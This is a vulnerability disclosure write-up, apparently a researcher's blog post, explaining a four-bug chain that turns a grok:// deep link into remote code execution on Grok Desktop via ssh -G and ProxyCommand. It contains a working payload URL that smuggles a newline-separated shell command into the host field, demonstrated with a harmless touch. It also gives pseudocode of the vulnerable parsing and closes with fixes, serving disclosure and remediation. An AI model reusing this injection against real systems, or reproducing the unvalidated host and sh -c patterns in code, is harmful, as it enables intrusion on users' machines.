1-Click RCE in Grok: 8 hops, 4 bugs
A grok:// deep link, a suffix-only host check, ssh -G, and sh -c chain into 1-click RCE on Grok Desktop.
I found a 1-click RCE in Grok Desktop. One grok:// link runs a command on the victim's machine if they are signed in as an xAI employee. It takes four bugs across eight hops to get there.
The "Failed to connect" toast was the exploit finishing#
Imagine you work at xAI. You click a link in an email, or maybe a new bug bounty report. The link goes to a URL shortener, which redirects to a grok:// deep link.
Grok opens and runs a command on your laptop the instant you click. Then a toast pops up: "Failed to connect to devbox. Connection lost before handshake." By the time you see it, it's too late. The attacker's command already ran, before Grok made any network connection, and with no downloads or attachments.

Only signed-in xAI employees are affected#
grok://connect/devbox is an internal feature. It lets an xAI engineer click a link and have Grok Desktop open an SSH session to their devbox. To keep it internal, the renderer checks the signed-in email:
is_employee(email):
return email is a string
and lowercase(email) ends with "@x.ai" or "@teachx.ai"plaintext
That is a narrow audience, but it is also the people who open internal links and triage bug bounty reports.
The whole attack is one URL#
Here's the payload. It's a grok:// deep link where the host parameter is not a hostname:
grok://connect/devbox?host=x%0Aproxycommand%20touch%20%2Ftmp%2Fpwned%0A%23%40real.x.aiplaintext%0A is a newline. URL-decoded, the host is three lines of text:
x
proxycommand touch /tmp/pwned
#@real.x.aiplaintext
It has three parts: a newline in the middle of a "hostname," a legitimate SSH config keyword (proxycommand), and enough trailing text to end in .x.ai. The command here is a harmless touch /tmp/pwned; in a real attack it's whatever gets you a shell.
The chain#
Getting from that URL to a shell takes eight hops. Bug 1 is hop 2, bug 2 is hops 4 and 5, bug 3 is hops 6 and 7, and bug 4 is hop 8.

Bug 1: host is only checked for a .x.ai suffix#
The deep-link parser validates every field it pulls out of the URL except host.
# Every field parsed from the grok:// URL has a strict rule, except host.
rule(user) = ^[a-z_][a-z0-9_-]{0,31}$ # letters/digits/_/-, <= 32 chars
rule(name) = printable ASCII, 1..64 chars
rule(id) = a UUID
parse_devbox_link(url):
host = trim(url.query["host"])
if host is empty: reject
if lowercase(host) does NOT end ".x.ai": reject # ← the ONLY check on host
if user is present and not rule(user): reject
if name is present and not rule(name): reject
# ...same UUID check on connectionId / sessionId...
return { host: lowercase(host), user, name, ... }plaintextuser, name and the IDs are each matched against a strict pattern. host, the one field that ends up in a shell command, is lowercased and checked for a .x.ai suffix, and nothing else.
A newline survives trim(). It survives toLowerCase(). endsWith(".x.ai") is true for x\nproxycommand touch /tmp/pwned\n#@real.x.ai, so the parser waves it through.

real.x.ai is just padding. It doesn't need to exist or resolve, because the command runs before any connection is made. The payload only has to pass the checks.
Bug 2: the app connects with nobody asking#
The renderer handler takes the parsed payload, saves it, and starts connecting, with no prompt:
# Renderer, fired by the deep link. No dialog anywhere on this path.
on_connect_devbox(link):
record = {
host: link.host, # raw, still unvalidated
port: 22,
transport: "websocket",
...
}
ssh.add_connection(record) # persist the payload to disk
ssh.connect(record.connection_id) # start connecting → fires the sinkplaintext
There is no dialog, prompt or warning. The tRPC mutation behind addConnection doesn't re-validate host either.
Bug 3: ssh -G echoes the username back as config#
Grok resolves connection settings by running the real ssh binary and treating each line of its output as trusted config:
run: ssh -G -p 22 "<raw host>" # the raw, multi-line deep-link host, passed straight throughplaintextOpenSSH parses the destination as user@hostname, splitting on the last @.
OpenSSH only rejects this payload as of 10.1 (Oct 2025, CVE-2025-61984 ↗); the chain needs an older ssh. It's the second of four character-sanitization patches to this same username path in three years (CVE-2023-51385 ↗, CVE-2025-61984, CVE-2026-35386 ↗, CVE-2026-106583 ↗), and none of them treat ssh -G itself as untrusted, which is exactly what Grok does.
ssh -G prints the resolved configuration as keyword value lines, and it prints the username verbatim. A username containing a newline therefore comes out as a line break.
For the payload's username, x\nproxycommand touch /tmp/pwned\n#, the output is:
user x
proxycommand touch /tmp/pwned
#
hostname real.x.aiplaintext
The attacker writes the proxycommand line into the deep-link payload. OpenSSH prints it as an ordinary setting, and Grok parses it as one:
# Treat every line of `ssh -G` output as trusted SSH config.
parse_ssh_g_output(lines, input):
config.original_host = input.host # the RAW host, never rewritten
config.hostname = input.host
for each line:
keyword, value = split line on first whitespace
if keyword == "hostname": config.hostname = value # → clean real.x.ai
if keyword == "proxycommand": config.proxy_command = value # → the attacker's command
return config # config.original_host is STILL the raw multi-line stringplaintextBug 4: ProxyCommand is a shell string, and %n is attacker-controlled#
ProxyCommand is a real SSH feature: it runs a helper program to establish the connection, often a bastion tunnel.
Grok runs it the way SSH does, through a shell, and expands the usual % tokens into it:
# Build the proxy socket by running ProxyCommand through a shell.
build_proxy_sock(config):
command = expand_tokens(config.proxy_command, config)
spawn: sh -c "<command>" # a shell string, not an argv array; no quoting
expand_tokens(template, config):
substitute in template:
%h → config.hostname # validated → real.x.ai
%n → config.original_host # RAW, unescaped deep-link host, newlines intact
%p → config.port
%r → effective usernameplaintext
sh -c runs the string, and a newline in that string is a command separator. The injected touch /tmp/pwned line is a whole command on its own, so it runs directly.
spawn runs during socket setup, before the SSH handshake. The command has already executed by the time ssh fails with Connection lost before handshake, which is the toast from the intro.
Why the chain works#
Reported alone, each bug is easy to dismiss: it's just a hostname, it's an internal convenience link, it's how ssh -G works, ProxyCommand is supposed to run a shell command. All of that is true.
The chain works because no two layers agree on what host is: the parser validated a suffix, tRPC takes z.string(), OpenSSH echoes a username it was never asked to sanitize, and the transport puts the result in a shell.

Fixing any one layer breaks the chain:
- Validate
hostas a hostname in the parser, not just a suffix. - Ask for confirmation before the deep link adds and starts a connection.
- Don't treat
ssh -Goutput as a trust boundary. - Quote or drop
%nbefore it reachessh -c.